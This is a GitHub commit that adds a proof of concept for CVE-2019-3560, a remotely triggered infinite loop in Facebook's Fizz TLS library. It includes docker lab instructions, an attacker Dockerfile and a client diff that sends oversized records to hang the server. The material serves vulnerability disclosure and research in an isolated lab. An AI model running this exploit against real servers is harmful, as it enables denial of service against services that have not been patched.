Skip to content

Commit 536decb

Browse files
authored
Merge pull request #9 from kevinbackhouse/FacebookFizzDOS
PoC for CVE-2019-3560 (Facebook Fizz)
2 parents e41bb3a + b7ff6b2 commit 536decb

10 files changed

Lines changed: 711 additions & 0 deletions

File tree

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Remote DOS in Facebook Fizz (CVE-2019-3560)
2+
3+
[Fizz](https://github.com/facebookincubator/fizz) contains a remotely triggerable infinite loop. It is due to an integer overflow in this [compound assignment](https://github.com/facebookincubator/fizz/blob/eaa81af854bef509c3c1d7c83df0cd0b084a0fef/fizz/record/PlaintextRecordLayer.cpp#L42). For more details about the bug, see this [blog post](https://lgtm.com/blog/facebook_fizz_CVE-2019-3560).
4+
5+
The scenario for the demo is that there are two computers, named "fizz-server" and "fizz-attacker". The attacker sends a malicious message which triggers an infinite loop on the server. The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.
6+
7+
## Network setup
8+
9+
Create a docker network bridge, to simulate a network with two separate computers.
10+
11+
```
12+
docker network create -d bridge --subnet 172.18.0.0/16 fizz-demo-network
13+
```
14+
15+
## Server setup
16+
17+
Build the docker image:
18+
19+
```
20+
docker build server -t fizz-server --build-arg UID=`id -u`
21+
```
22+
23+
Start the container:
24+
25+
```
26+
docker run --rm --network fizz-demo-network --ip=172.18.0.10 -i -t fizz-server
27+
```
28+
29+
If you want to be able to debug the fizz server, then you need to start the container with some extra command line arguments:
30+
31+
```
32+
docker run --rm --network fizz-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t fizz-server
33+
```
34+
35+
Inside the container, run this script to create some certs:
36+
37+
```
38+
cd ~/certs
39+
./create-certs.sh
40+
```
41+
42+
Start the server:
43+
44+
```
45+
~/fizz/build_/bin/fizz server -accept 1443 -cert ~/certs/server-cert.pem -key ~/certs/server-key.pem
46+
```
47+
48+
Note: TLS servers normally listen on port 443, rather than 1443. But root privileges are required to listen on 443, so you need to run the above command with `sudo` if you want to change the port number to 443. The `sudo` password in this docker container is "x".
49+
50+
## Attacker setup
51+
52+
Build the docker image:
53+
54+
```
55+
docker build attacker -t fizz-attacker --build-arg UID=`id -u`
56+
```
57+
58+
Start the container:
59+
60+
```
61+
docker run --rm --network fizz-demo-network --ip=172.18.0.11 -i -t fizz-attacker
62+
```
63+
64+
Send the malicious message to the server:
65+
66+
```
67+
./poc/poc 172.18.0.10 1443
68+
```
69+
70+
The source code for the PoC can be found in `poc.c`.
71+
72+
### Original PoC
73+
74+
The original PoC, which I sent to Facebook when I first reported the vulnerability, is far less polished than `poc.c`, above. But it may be of interest because it shows how I tweaked the Fizz client to send the malicious message. The changes which I made can be found in `diff.txt`. (These changes were already applied during the `docker build` step, above.) You can run this version of the PoC like this:
75+
76+
```
77+
~/fizz/build_/bin/fizz client -connect 172.18.0.10:1443
78+
```
79+
80+
This command will not return because it is waiting for a response from the server, which will never come. But you can just ctrl-C it, and the server will continue to be stuck in an infinite loop.
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
sudo tmux screen emacs git gdb net-tools g++ cmake \
6+
libboost-all-dev libevent-dev libdouble-conversion-dev \
7+
libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \
8+
liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \
9+
libjemalloc-dev libssl-dev pkg-config libsodium-dev
10+
11+
ARG UID=1000
12+
13+
# Create a non-root user account to run Fizz.
14+
RUN adduser attacker --disabled-password --uid $UID
15+
16+
# Grant the 'attacker' user sudo access. This is not used for the
17+
# demo, but it is often handy for installing extra packages.
18+
RUN adduser attacker sudo
19+
RUN echo "attacker:x" | chpasswd
20+
COPY home/ /home/attacker/
21+
RUN chown -R attacker:attacker /home/attacker
22+
23+
# Switch over to the 'attacker' user, since root access is no longer required
24+
USER attacker
25+
WORKDIR /home/attacker
26+
27+
# Build the PoC
28+
RUN cd poc && make
29+
30+
# The original PoC used a modified version of Fizz. So we need to
31+
# clone and build Folly, which Fizz depends on.
32+
RUN git clone https://github.com/facebook/folly && \
33+
cd folly && \
34+
git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \
35+
mkdir build_ && cd build_ && \
36+
cmake .. && \
37+
make -j $(nproc)
38+
39+
# Install Folly.
40+
USER root
41+
RUN cd /home/attacker/folly/build_ && make install
42+
USER attacker
43+
44+
# Build the original PoC, which I sent to Facebook when I first
45+
# reported the vulnerability. It is a modified version of Fizz. (Note
46+
# the `git apply` immediately after the `git checkout`.)
47+
RUN git clone https://github.com/facebookincubator/fizz && \
48+
cd fizz && \
49+
git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \
50+
git apply ~/diff.txt && \
51+
mkdir build_ && cd build_ && \
52+
cmake ../fizz && \
53+
make -j $(nproc)
54+
55+
# Install modified Fizz.
56+
USER root
57+
RUN cd /home/attacker/fizz/build_ && make install
58+
USER attacker
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
diff --git a/fizz/client/ClientProtocol.cpp b/fizz/client/ClientProtocol.cpp
2+
index 8804de7..82bdbbd 100644
3+
--- a/fizz/client/ClientProtocol.cpp
4+
+++ b/fizz/client/ClientProtocol.cpp
5+
@@ -450,7 +450,7 @@ static ClientHello getClientHello(
6+
chlo.extensions.push_back(encodeExtension(std::move(modes)));
7+
}
8+
9+
- if (earlyDataParams) {
10+
+ if (true || earlyDataParams) {
11+
chlo.extensions.push_back(encodeExtension(ClientEarlyData()));
12+
}
13+
14+
@@ -1186,6 +1186,8 @@ Actions EventHandler<
15+
} else {
16+
encodedClientHello = encodeHandshake(std::move(chlo));
17+
handshakeContext->appendToTranscript(encodedClientHello);
18+
+ encodedClientHello->reserve(0, 0x11000);
19+
+ encodedClientHello->append(0x11000);
20+
}
21+
22+
auto earlyDataType = state.earlyDataType() == EarlyDataType::Attempted
23+
@@ -1194,7 +1196,7 @@ Actions EventHandler<
24+
25+
WriteToSocket clientFlight;
26+
auto chloWrite =
27+
- state.writeRecordLayer()->writeHandshake(encodedClientHello->clone());
28+
+ state.writeRecordLayer()->writeAppData(encodedClientHello->clone());
29+
30+
bool sentCCS = state.sentCCS();
31+
folly::Optional<client::Action> ccsWrite;
32+
diff --git a/fizz/client/FizzClientContext.h b/fizz/client/FizzClientContext.h
33+
index 9def034..7508098 100644
34+
--- a/fizz/client/FizzClientContext.h
35+
+++ b/fizz/client/FizzClientContext.h
36+
@@ -220,7 +220,7 @@ class FizzClientContext {
37+
SignatureScheme::rsa_pss_sha256};
38+
std::vector<NamedGroup> supportedGroups_ = {NamedGroup::x25519,
39+
NamedGroup::secp256r1};
40+
- std::vector<NamedGroup> defaultShares_ = {NamedGroup::x25519};
41+
+ std::vector<NamedGroup> defaultShares_ = {NamedGroup::secp521r1};
42+
std::vector<PskKeyExchangeMode> supportedPskModes_ = {
43+
PskKeyExchangeMode::psk_dhe_ke,
44+
PskKeyExchangeMode::psk_ke};
45+
diff --git a/fizz/record/PlaintextRecordLayer.cpp b/fizz/record/PlaintextRecordLayer.cpp
46+
index e33ef9e..ce33252 100644
47+
--- a/fizz/record/PlaintextRecordLayer.cpp
48+
+++ b/fizz/record/PlaintextRecordLayer.cpp
49+
@@ -112,22 +112,24 @@ TLSContent PlaintextWriteRecordLayer::writeInitialClientHello(
50+
TLSContent PlaintextWriteRecordLayer::write(
51+
TLSMessage msg,
52+
ProtocolVersion recordVersion) const {
53+
+#if 0
54+
if (msg.type == ContentType::application_data) {
55+
throw std::runtime_error("refusing to send plaintext application data");
56+
}
57+
+#endif
58+
59+
auto fragment = std::move(msg.fragment);
60+
folly::io::Cursor cursor(fragment.get());
61+
std::unique_ptr<folly::IOBuf> data;
62+
while (!cursor.isAtEnd()) {
63+
Buf thisFragment;
64+
- auto len = cursor.cloneAtMost(thisFragment, kMaxPlaintextRecordSize);
65+
+ auto len = cursor.cloneAtMost(thisFragment, 0x20000);
66+
67+
auto header = folly::IOBuf::create(kPlaintextHeaderSize);
68+
folly::io::Appender appender(header.get(), kPlaintextHeaderSize);
69+
appender.writeBE(static_cast<ContentTypeType>(msg.type));
70+
appender.writeBE(static_cast<ProtocolVersionType>(recordVersion));
71+
- appender.writeBE<uint16_t>(len);
72+
+ appender.writeBE<uint16_t>(len < 0x1000 ? len : 0x10000-kPlaintextHeaderSize);
73+
74+
if (!data) {
75+
data = std::move(header);
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
poc: poc.c
2+
gcc -o poc poc.c

0 commit comments

Comments
 (0)